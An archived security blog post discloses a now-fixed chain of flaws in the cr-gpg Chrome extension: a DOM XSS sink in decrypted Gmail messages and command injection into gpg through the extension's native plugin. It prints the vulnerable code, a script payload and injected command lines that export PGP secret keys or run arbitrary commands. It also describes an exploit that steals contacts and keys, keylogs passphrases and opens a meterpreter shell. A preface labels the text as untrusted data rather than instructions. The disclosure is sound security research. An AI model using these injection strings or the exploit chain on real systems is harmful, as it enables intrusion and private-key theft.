Owning a system through a Chrome extension

Owning a system through a Chrome extension - Author not stated, blog.kotowicz.net.

- Published: date not stated
- Original: <https://web.archive.org/web/20170903113359/http://blog.kotowicz.net/2012/09/owning-system-through-chrome-extension.html>
- Current location: <https://web.archive.org/web/20171017093250/http://blog.kotowicz.net/2012/09/owning-system-through-chrome-extension.html>
- Preserved from: https://web.archive.org/web/20171017093250/http://blog.kotowicz.net/2012/09/owning-system-through-chrome-extension.html (live) on 2026-08-09
- Capture timestamp: 20170903113359
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

tldr; read all. fun stuff.

I've recently shown a few ways one can abuse certain Chrome extensions. For example it is possible to fingerprint all the extensions current user has installed. Also, they suffer from standard web vulnerabilities. **XSS** is so common that I've built XSS Chef to assist the exploitation. Together with @theKos we ran workshops on exploiting Chrome extensions.

But the most interesting vulnerabilities may be hidden in the code of plugins (NPAPI .dll, .so files) that are sometimes bundled with extensions. These are binary files that run **outside of Google Chrome sandboxes**. Plugin functions are of course being called from extensions Javascript code. So, through XSS one could exploit e.g. a buffer overflow, use-after-free and, theoretically, hijack OS user account.

The threat isn't theoretical though. I was able to find a chain of vulnerabilities in cr-gpg extension which handles PGP encryption/decryption from within Gmail interface. Funny thing - the exact same vulnerabilities were reported independently by Gynvael Coldwind - great finds, Gynvael! All reported issues below were **present in 0.7.4 **version and **are fixed in >=0.8.2.**

DOM XSS when injecting decrypted message content back into gmail interface.

```
// content_script.js, line 26.
$($(messageElement).children()[0]).html(tempMessage);
```

To exploit this, attacker can PGP encrypt javascript payload (<script>alert(1)</script>) and send it to the victim. Upon decryption, the payload would be:

- in mail.google.com origin (= a Gmail XSS with all consequences)
- in extension context (so attacker can e.g. send chrome.extension.sendRequests())

Command injection in extension gmailGPG plugin

Extension uses NPAPI plugin that forwards the encryption/decryption etc. to your local gpg installation. Insecure API is being used to call the gpg program (mainly, there's just a string concatenation). Some of the strings are user-controllable (e.g. message body, recipients - it depends on a function called). By manipulating these parameters it is possible to introduce arbitrary commands to run on the target machine.

Example:

```
// gmailGPGAPI.cpp
//Encrypts a message with the list of recipients provided
FB::variant gmailGPGAPI::encryptMessage(const FB::variant& recipients,const FB::variant& msg)
{
    string tempFileLocation = m_tempPath + "errorMessage.txt";
    string tempOutputLocation = m_tempPath + "outputMessage.txt";
    string gpgFileLocation = "\""+m_appPath +"gpg.exe\" ";

    vector<string> peopleToSendTo = recipients.convert_cast<vector<string> >();
    string cmd = "c:\\windows\\system32\\cmd.exe /c ";
 cmd.append(gpgFileLocation);
 cmd.append("-e --armor");
    cmd.append(" --trust-model=always");
    for (unsigned int i = 0; i < peopleToSendTo.size(); i++) {
        cmd.append(" -r");
        cmd.append(peopleToSendTo.at(i));
    }
    cmd.append(" --output ");
    cmd.append(tempOutputLocation);
    cmd.append(" 2>");
    cmd.append(tempFileLocation);

    sendMessageToCommand(cmd,msg.convert_cast<string>());
```

The final command line becomes:

```
gpg -e --armor --trust-model=always -r [!recipients!] --output out.txt 2>err.txt
```

which the attacker can modify to e.g. :

```
# export secret keys instead of encrypting message
gpg -e --armor --trust-model=always -r dummy@mail --no-auto-key-locate >nul
  && gpg --export-secret-keys --armor --output out.txt 2>err.txt

# pwnme please
gpg -e --armor --trust-model=always -r dummy@mail --no-auto-key-locate >nul;
  pwnme; echo --output out.txt 2>err.txt
```

There are also other injection points in other functions. But how are this functions called? DLL functions are called by the Chrome extension background script:

```
chrome.extension.onRequest.addListener(
      function(request, sender, sendResponse) {
//...
         plugin0().appPath = gpgPath; // plugin0 is the DLL object
         plugin0().tempPath = tempPath;
         if (request.messageType == 'encrypt'){
            var mailList = request.encrypt.maillist.filter(function(val) { return val !== null; });
            //...
            var mailMessage = request.encrypt.message;
            // DLL "encrypt" funciton is called
            sendResponse({message: plugin0().encrypt(mailList,mailMessage),domid:request.encrypt.domel});
```

Cr-gpg background script **listens for requests** coming from a content script that enhances Gmail UI. When user presses the 'encrypt' button, content script gathers from Gmail DOM the message text, recipients etc. and sends those to background script (sendRequest() method). Background script forwards those to the DLL which executes the command line.

The problem: arbitrary sendRequest() can be written in XSS payload too.

Exploit

These vulnerabilities can be combined - the first one (triggered by decrypting a message from the attacker) can launch an exploit against second one (by calling chrome.extension.sendRequest()). See the exploit code. Once you encrypt it and send to the victim, upon decryption in cr-gpg it will:

- fetch all gmail contacts
- fetch inbox page HTML
- **export PGP secret keys**
- attach a keylogger to **listen for a secret key passphrase**
- send all these back to attacker
- Oh, and **meterpreter shell** is also launched (thanks to Paweł Goleń's help)

That exploit and many more were described in greater details in our BruCON workshops. I've just published slides for the workshops:

* *Advanced Chrome extension exploitation* * from **Krzysztof Kotowicz**